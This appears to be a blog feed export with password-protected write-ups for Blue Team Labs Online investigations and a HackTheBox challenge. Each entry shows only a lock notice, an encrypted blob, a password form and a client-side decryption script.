mfye8pabN73IiGjAPX2811SFb8KuCB8HbhKvTV1s1Fn9kISc6Sp1ZdPyldxpNQa1vzoCqPicZAfuGUvo2Mat/GXP7gOE5dnunhjXINbmxIm18HZmHeA04QdQ34si7ndaHrK2kFaFYfLev6t3Ro75WzZ0rd8eUwRiNZu4bDbGvkExgeCb3M0+oTjpsgf47RZAAb9K5zv060Rkv4R+5/lebgOLJU+fDnnWHjHAiNMwBOob5jfDlU3VMiYqn0Cm+09WUKYPA9ZRENKXTSw9hEWxpHI0aRYFLQfpoX+69COvG7ms20vPb9Mfl15ldB3LPCrgBTU4Qd3/KrwbkawawCrsAtW3x63ZITrSsBw6MQ3KBR48dF7NBeuIo0FCXU7m1rCljyChzAIQCV+tDpqdkktS+a4gyWjVIGeHanijoaPJGTRo9jp2vGu/OIYa8IHD4iMSS2lvmLWsojTKRv9STjIWl2FF+S2GoSWUdSUQkGCFLkjANwNgLXANhUU2doy/lpQ/v+YPgqlQK3DDLu7MMO34mDWHh9mf21QeShlLdIAhodbMNS0m7mWaPeLZCH7tNGDjNq6SUBXqG0aa9aGKoS8LiqVJGHAxr68APdctstHo4R4TSFrRkSB4KWr8Xl2HRearApjh1em2Q6kQXcjQwu0qGFB0AYXXL9i7Vvm8JBRBbkJHNlkqCmH6bEtfTYi8vapyYCj6flPhUNgnjd2OjhcNEK0Zdnu2l91K3+IPljldCA3ccjLA5mCEZL0JP696DQO+lBAm/dburTDC0/EwC2VIz3wa/GoGQo3/ZDEXTyIkka9kY7/HmOIE0Vg82h8zUlBPDMmzw+L1beussHvwjkOCDydx3qYeC7KOoxBke0rV/RSPjhObfafW32GuX6lidsqGPintiGqMt7LXhOmvG2hmJ12s/EMj5Qqiyl+2OeSpn4ltcYj5nw8mLKKT7rizMETIpMSuRw/cwL1kw3VROThKStdCzZco5yvobyHENc6A2PAvLWyMpfghn/SnTkj4na1lNbPDYx1elS5rs1A4EXEBw5gvdVevA1A5xq/409/wxEMeo+BIUEsRvMcILJqrEwvVXpx8c07mFY9JccqOx43GlreFag+6onKakp+ytBPnB18nXMJdtZbhjk3ILrXNmSToSPEJ6HZru4zraaJLo8bL5Zendk5xSIuwQLOJKuswgecpqLgkSH4kVFgdrTJ6wDIXIRvyYjcEFhpqBPoUbZo7AadpZFF7gLFGrVTxl0bJ/xeV78PKXkgX7RPvvWy91Bv7JAGIVoxqk/FwR73wp+zRnKzfAxgB23EhpTD8fMbOKTJn3MTHgUcxqqKy88ezF64Xiq8EgkLdyINwiCKmofg8XYe1RKYge9iOZc0UFyJsa5GAYKecp/75YcPzLU5+w2s4ShnBnrTvgI/0PkUljgAPu9uJ0gSb9JqA5dVFJN2QXujOp6zm/gIUWnZ+A2g93KE6CCVujRk5J4fOIfFjD/YLdYT7JGk688rbYO/3c+ZOtcfAS0NJUkneFYWlGumLDkH1hjINfWSKJMBn7SF+0y3MS0Ttp5BT+hy6+jUsy8/9GahPyIhaop9bXo3QSaDwQsixKILcdbFbgSFe1dOOQ==;^</div> <div id="pec-decrypted-content"> <span><strong><i>This investigation is currently active on Blue Team Labs Online, thus is required to be password protected. You will need to wait until the investigation is retired for the full solution. In special circumstances, you may email me for the password.</i></strong></span> </div> <form id="pec-decrypt-form"> <label for="pec-content-password">Password</label> <input type="password" id="pec-content-password" placeholder="Password" /> <button type="button" id="pec-decrypt-content">Decrypt</button> </form> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/core.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/enc-base64.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/cipher-core.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/pad-nopadding.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/md5.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/aes.js"></script> <script type="text/javascript"> (function(){var a=function(b,c){for(var d=b.length;d>0;d--)if(b[d-1]!==c)return b.slice(0,d)},e=function(b,c,d,f){var g=CryptoJS.MD5(b),h=CryptoJS.enc.Base64.parse(c),i=CryptoJS.enc.Base64.parse(d),j={key:g,iv:h,ciphertext:i},k=CryptoJS.AES.decrypt(j,g,{iv:h,padding:CryptoJS.pad.NoPadding});try{return a(k.toString(CryptoJS.enc.Utf8),f)}catch(l){return!1}};document.addEventListener('DOMContentLoaded',function(){var b=document.getElementById('pec-decrypt-content'),c=document.getElementById('pec-content-password'),d=document.getElementById('pec-encrypted-content'),f=document.getElementById('pec-decrypted-content'),g=document.getElementById('pec-decrypt-form'),h=function(a){var h=d.innerHTML.split(';'),i=e(c.value,h[0],h[1],h[2]);i?(f.innerHTML=i,g.parentNode.removeChild(g),d.parentNode.removeChild(d)):(c.value=''),a.preventDefault();return!1};b.addEventListener('click',h);g.addEventListener('submit',h)})})(); </script> </div>2022-03-25T16:03:42-04:002026-05-17T14:03:45.435873-04:00Eric Turnertag:blog.ericturner.it,2022-03-25:/2022/03/25/btlo-investigation-heaven/

This investigation is currently active on Blue Team Labs Online, thus is required to be password protected. You will need to wait until the investigation is retired for the full solution. In special circumstances, you may email me for the password.

<div id="pec-encrypted"> <div id="pec-encrypted-content" style="display:none">AuSverRqIe+jllB+jAwzcg==;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;^</div> <div id="pec-decrypted-content"> <span><strong><i>This investigation is currently active on Blue Team Labs Online, thus is required to be password protected. You will need to wait until the investigation is retired for the full solution. In special circumstances, you may email me for the password.</i></strong></span> </div> <form id="pec-decrypt-form"> <label for="pec-content-password">Password</label> <input type="password" id="pec-content-password" placeholder="Password" /> <button type="button" id="pec-decrypt-content">Decrypt</button> </form> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/core.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/enc-base64.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/cipher-core.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/pad-nopadding.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/md5.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/aes.js"></script> <script type="text/javascript"> (function(){var a=function(b,c){for(var d=b.length;d>0;d--)if(b[d-1]!==c)return b.slice(0,d)},e=function(b,c,d,f){var g=CryptoJS.MD5(b),h=CryptoJS.enc.Base64.parse(c),i=CryptoJS.enc.Base64.parse(d),j={key:g,iv:h,ciphertext:i},k=CryptoJS.AES.decrypt(j,g,{iv:h,padding:CryptoJS.pad.NoPadding});try{return a(k.toString(CryptoJS.enc.Utf8),f)}catch(l){return!1}};document.addEventListener('DOMContentLoaded',function(){var b=document.getElementById('pec-decrypt-content'),c=document.getElementById('pec-content-password'),d=document.getElementById('pec-encrypted-content'),f=document.getElementById('pec-decrypted-content'),g=document.getElementById('pec-decrypt-form'),h=function(a){var h=d.innerHTML.split(';'),i=e(c.value,h[0],h[1],h[2]);i?(f.innerHTML=i,g.parentNode.removeChild(g),d.parentNode.removeChild(d)):(c.value=''),a.preventDefault();return!1};b.addEventListener('click',h);g.addEventListener('submit',h)})})(); </script> </div>2022-03-23T16:27:08-04:002026-05-17T14:03:45.448862-04:00Eric Turnertag:blog.ericturner.it,2022-03-23:/2022/03/23/hackthebox-gamepwn-challenge-cubemadness1/

This is currently an active challenge/machine on HackTheBox. Per their ToS, active writeups are not allowed to be shared. In order to unlock this content, you will need to provide the final flag.

<div id="pec-encrypted"> <div id="pec-encrypted-content" style="display:none">YaCF7o2YExjgPj3T2SjIYw==;YPUWQQbCsrmZ4tFqVDGi7Ib1RL0uYZ9mWUd2XPeNwbT4kT4nbF7iM+bQ/Z4UGOnDkaGD5GCZRh0oYggVqfX/cG1rMbM3OAlvl9rvn313d2hNETKNvEOZSBAtSUDgj7d1N2A37S+xQvBH7apnB/yTD3F6IYgJvM0empvkUeB6jxbpT3GhOYs+p7cTdfZkZEoexyByiEYsgvneJkQmJVussOTaOJJVAS6IDpJ2Qfb9OzE/dGkd1ra0/wqm8WbP1BVATCOKCWYeIxTMA/RVvGPtDjPoE40DXTye7A/eVwFyUwO/4YJVty9+LL9sOz11u0CWcC2W7de0B+SmeYkUZLLSaqhlUPUpqBJWBnJtLz6WuKQhGQRm3OCSdFCdBijLs2XAJuLwr8z2y5ZCfLsirew7N05XbvMkSnrPaHSnF2g32qStA0zBRla5PvEcrccmmhqvKE8MZajBSYSb69Gr0GM+UFktQcrBI5J5tyaMrjc/OXKrmzXvA8AJubOChkm2Hw8Y2Kj/xkwHjK+0jzdfBTY17U0u7EDKdyPOX+4/hu04n8XXcSuTM+A+/1s4aG5YeN3qUABCU2p1YUu3r9D2puxpqWIrEmBLXH5a0c2yoMGv/Xof55Y7jJRJ3pmlmvLZ1c48BosGFknxY6KAm01bDeKfhQh8/X6voYR70quI4HlCpvBQp3fTMG/Ise+zyJBZzjBCSuWpF6+WbttJ0wdvBUyXCQztmjghU83jmlyMZojOiemaGy7WCI/7ySUgxNbvkMxVqkwVITFXsVeY48RuY+JRP0Yje1NLrJyV+FMxuqH/iJYMDL2ez6fCFTk4rCn2CRqPXO2kp4aokoFGVqcwMrbVDLc1PV/6qwlAl5JXuVV4lcHOeahKCrq2PYGPlqXbNnvR9NjMfCWgwWd2ElRNNx5FQ6rIt+1Nx5n1h1MxM/UVTFTMPl9xjN/x4ZYsAEg62J/bTkOn3ixmOIoNA4TAssZ9K3OztBrj+OD3580DHGaIXsrkgiEXzNmswQWLej5cmRw6qYzbyfsrWqOiXllM7TALOdTd7xKcwYVKOtCDhuGoq3mFcJ8VLWJYLDSWsG3O9DfPHwWan658F5re+nhDFTB1UQn1uqhZwpXkh3UMv9HjT3KSZZ/va6iYryp7i8/du/Clk/rqtPwovbhUAaZFMDleVGdKwS/xYdS5ELAh/juv2N4tBz7DdBSE7YKXx+MYhKdmAqOprzzBj4Kc5y1MyCc6UVFZH0YKz3APhW9Thmr/YKZAcXm+NPaYRChwZuLspEGvi94k6oV6p2Ym8X27/DvaEA2hZ+EBstXrAa6ZZ8xBfg5RG1SFBpppblhelmPwkqKgvoNAmXZI9n49Bp4iOv5gHsw2G/R7KLOaw4TCuf8x3C0NXl68qMJDRsQ5YOPfeyuClVhv9as+Duc+7AgjTfjvkjx9GP/5bK0OIveO4VTXXhhk2R5q2PYF65l0/e5ogiaMgN6uIkD/TUjfvBQURxVPWCad5EzhqkbzUoooO6/hMeu1Sf3OBEWcqMzEXMZGg3ETxx7o8niPOETCwchtUDRadoR3JbJ5UONYeS+TNk7xtKvru31VoxgVi5iWTp13eSI41E/Fmoh+p/NTE2kGA0D+JIsQQ+pslG/J6/iJjCwlqAVukG62lq+9vZ47JbaOpImcBxhmJ2S+rjoDSQpUxXFOUB2NI4/oERTwlft7Ei7S1DXD1xbCWHNe7jD00uS1YB5zKXMZlW2i0shH+y3+qDNpxEQdiiZuIF1oOgrb960UT0v0/Qfzmkxq4hoGh7SM+qB5inx5UzU5JmD2hHOE18NRQ+IGkLwmbsgz4g04CCat2m/RDC3NJ1RUPfebXiO/cPcif2YE83WZSlf4Y4Pb7xZfrQ==;^</div> <div id="pec-decrypted-content"> <span><strong><i>This is currently an active challenge/machine on HackTheBox. Per their ToS, active writeups are not allowed to be shared. In order to unlock this content, you will need to provide the final flag.</i></strong></span> </div> <form id="pec-decrypt-form"> <label for="pec-content-password">Password</label> <input type="password" id="pec-content-password" placeholder="Password" /> <button type="button" id="pec-decrypt-content">Decrypt</button> </form> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/core.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/enc-base64.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/cipher-core.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/pad-nopadding.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/md5.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/aes.js"></script> <script type="text/javascript"> (function(){var a=function(b,c){for(var d=b.length;d>0;d--)if(b[d-1]!==c)return b.slice(0,d)},e=function(b,c,d,f){var g=CryptoJS.MD5(b),h=CryptoJS.enc.Base64.parse(c),i=CryptoJS.enc.Base64.parse(d),j={key:g,iv:h,ciphertext:i},k=CryptoJS.AES.decrypt(j,g,{iv:h,padding:CryptoJS.pad.NoPadding});try{return a(k.toString(CryptoJS.enc.Utf8),f)}catch(l){return!1}};document.addEventListener('DOMContentLoaded',function(){var b=document.getElementById('pec-decrypt-content'),c=document.getElementById('pec-content-password'),d=document.getElementById('pec-encrypted-content'),f=document.getElementById('pec-decrypted-content'),g=document.getElementById('pec-decrypt-form'),h=function(a){var h=d.innerHTML.split(';'),i=e(c.value,h[0],h[1],h[2]);i?(f.innerHTML=i,g.parentNode.removeChild(g),d.parentNode.removeChild(d)):(c.value=''),a.preventDefault();return!1};b.addEventListener('click',h);g.addEventListener('submit',h)})})(); </script> </div>2022-03-22T14:28:50-04:002026-05-17T14:03:45.432866-04:00Eric Turnertag:blog.ericturner.it,2022-03-22:/2022/03/22/btlo-investigation-crypto/

This investigation is currently active on Blue Team Labs Online, thus is required to be password protected. You will need to wait until the investigation is retired for the full solution. In special circumstances, you may email me for the password.

<div id="pec-encrypted"> <div id="pec-encrypted-content" style="display:none">ud0lC5zhzVOThVk+KnIhmA==;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